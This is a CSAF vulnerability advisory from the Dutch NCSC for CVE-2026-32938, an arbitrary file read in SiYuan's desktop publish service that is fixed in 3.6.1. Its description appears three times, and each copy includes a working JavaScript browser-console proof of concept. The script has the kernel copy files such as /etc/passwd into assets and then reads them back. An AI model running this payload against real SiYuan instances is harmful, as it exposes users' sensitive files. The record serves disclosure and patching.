{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32938",
        "tracking": {
            "current_release_date": "2026-03-27T00:14:44.858204Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32938",
            "initial_release_date": "2026-03-18T23:09:18.926250Z",
            "revision_history": [
                {
                    "date": "2026-03-18T23:09:18.926250Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T23:09:29.645677Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:30:57.523519Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:25:05.652969Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:25:09.895697Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:29:48.306289Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:29:50.321291Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:35:47.225776Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:41:51.852094Z",
                    "number": "9",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-20T21:59:21.625111Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:25.580266Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:47:37.794221Z",
                    "number": "12",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-22T00:52:05.088787Z",
                    "number": "13",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-22T11:25:06.172261Z",
                    "number": "14",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-23T00:54:16.286969Z",
                    "number": "15",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-23T05:16:13.192347Z",
                    "number": "16",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-24T10:18:12.802474Z",
                    "number": "17",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T10:18:22.744400Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:39.139187Z",
                    "number": "19",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-24T20:56:43.195054Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:51:19.687721Z",
                    "number": "21",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-26T00:51:28.106901Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:13:04.817290Z",
                    "number": "23",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:13:06.524134Z",
                    "number": "24",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:14:25.965250Z",
                    "number": "25",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                }
            ],
            "status": "interim",
            "version": "25"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5839032",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "B3log"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5825995"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                "product": {
                                    "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                    "product_id": "CSAFPID-5920116"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "siyuan-note"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32938",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nIn SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.\n\n### Details\n\n#### 1. Arbitrary local files copied into workspace\n\n- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.\n- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href=\"file://...\">` in the HTML are copied to `{DataDir}/assets/`.\n- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.\n\n#### 2. Direct access to assets via GET\n\n- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.\n- **Behavior**: The path is resolved with `model.GetAssetAbsPath(\"assets\" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.\n- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href=\"assets/xxx\"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.\n\n### PoC\n\n```javascript\n// Run in the browser devtools console while on the SiYuan publish service\n(async () => {\n  try {\n    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\\windows\\system32)\n    const sensitiveFiles = [\n      'file:///etc/passwd',\n      'file:///etc/group',\n      'file:///C:/Windows/System32/drivers/etc/hosts',\n      'file:///C:/Windows/System32/drivers/etc/services',\n    ];\n    const dom = '<p>' + sensitiveFiles.map(f => `<a href=\"${f}\">x</a>`).join(' ') + '</p>';\n    const r1 = await fetch('/api/lute/html2BlockDOM', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ dom }),\n      credentials: 'same-origin',\n    });\n    const { data } = await r1.json();\n    const paths = [...(data || '').matchAll(/data-href=\"(assets\\/[^\"]+)\"/g)].map(m => m[1]);\n    for (const p of paths) {\n      const r2 = await fetch('/' + p, { credentials: 'same-origin' });\n      if (r2.ok) console.log('--- ' + p + ' ---\\n' + (await r2.text()));\n    }\n  } catch (_) {}\n})();\n```\n\n### Impact\n\nWith only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.",
                    "title": "github - https://github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nIn SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.\n\n### Details\n\n#### 1. Arbitrary local files copied into workspace\n\n- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.\n- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href=\"file://...\">` in the HTML are copied to `{DataDir}/assets/`.\n- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.\n\n#### 2. Direct access to assets via GET\n\n- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.\n- **Behavior**: The path is resolved with `model.GetAssetAbsPath(\"assets\" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.\n- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href=\"assets/xxx\"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.\n\n### PoC\n\n```javascript\n// Run in the browser devtools console while on the SiYuan publish service\n(async () => {\n  try {\n    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\\windows\\system32)\n    const sensitiveFiles = [\n      'file:///etc/passwd',\n      'file:///etc/group',\n      'file:///C:/Windows/System32/drivers/etc/hosts',\n      'file:///C:/Windows/System32/drivers/etc/services',\n    ];\n    const dom = '<p>' + sensitiveFiles.map(f => `<a href=\"${f}\">x</a>`).join(' ') + '</p>';\n    const r1 = await fetch('/api/lute/html2BlockDOM', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ dom }),\n      credentials: 'same-origin',\n    });\n    const { data } = await r1.json();\n    const paths = [...(data || '').matchAll(/data-href=\"(assets\\/[^\"]+)\"/g)].map(m => m[1]);\n    for (const p of paths) {\n      const r2 = await fetch('/' + p, { credentials: 'same-origin' });\n      if (r2.ok) console.log('--- ' + p + ' ---\\n' + (await r2.text()));\n    }\n  } catch (_) {}\n})();\n```\n\n### Impact\n\nWith only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.",
                    "title": "github - https://api.github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32938.json"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32938"
                },
                {
                    "category": "description",
                    "text": "SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service in github.com/siyuan-note/siyuan/kernel",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4722.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nIn SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.\n\n### Details\n\n#### 1. Arbitrary local files copied into workspace\n\n- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.\n- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href=\"file://...\">` in the HTML are copied to `{DataDir}/assets/`.\n- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.\n\n#### 2. Direct access to assets via GET\n\n- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.\n- **Behavior**: The path is resolved with `model.GetAssetAbsPath(\"assets\" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.\n- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href=\"assets/xxx\"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.\n\n### PoC\n\n```javascript\n// Run in the browser devtools console while on the SiYuan publish service\n(async () => {\n  try {\n    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\\windows\\system32)\n    const sensitiveFiles = [\n      'file:///etc/passwd',\n      'file:///etc/group',\n      'file:///C:/Windows/System32/drivers/etc/hosts',\n      'file:///C:/Windows/System32/drivers/etc/services',\n    ];\n    const dom = '<p>' + sensitiveFiles.map(f => `<a href=\"${f}\">x</a>`).join(' ') + '</p>';\n    const r1 = await fetch('/api/lute/html2BlockDOM', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ dom }),\n      credentials: 'same-origin',\n    });\n    const { data } = await r1.json();\n    const paths = [...(data || '').matchAll(/data-href=\"(assets\\/[^\"]+)\"/g)].map(m => m[1]);\n    for (const p of paths) {\n      const r2 = await fetch('/' + p, { credentials: 'same-origin' });\n      if (r2.ok) console.log('--- ' + p + ' ---\\n' + (await r2.text()));\n    }\n  } catch (_) {}\n})();\n```\n\n### Impact\n\nWith only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-fq2j-j8hc-8vw8.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.0022",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Is related to an uncommon product vendor",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5825995",
                    "CSAFPID-5839032",
                    "CSAFPID-5920116"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32938.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32938"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-fq2j-j8hc-8vw8.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4722.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-fq2j-j8hc-8vw8"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619ad"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32938"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H",
                        "baseScore": 9.9,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5825995",
                        "CSAFPID-5839032",
                        "CSAFPID-5920116"
                    ]
                }
            ],
            "title": "CVE-2026-32938"
        }
    ]
}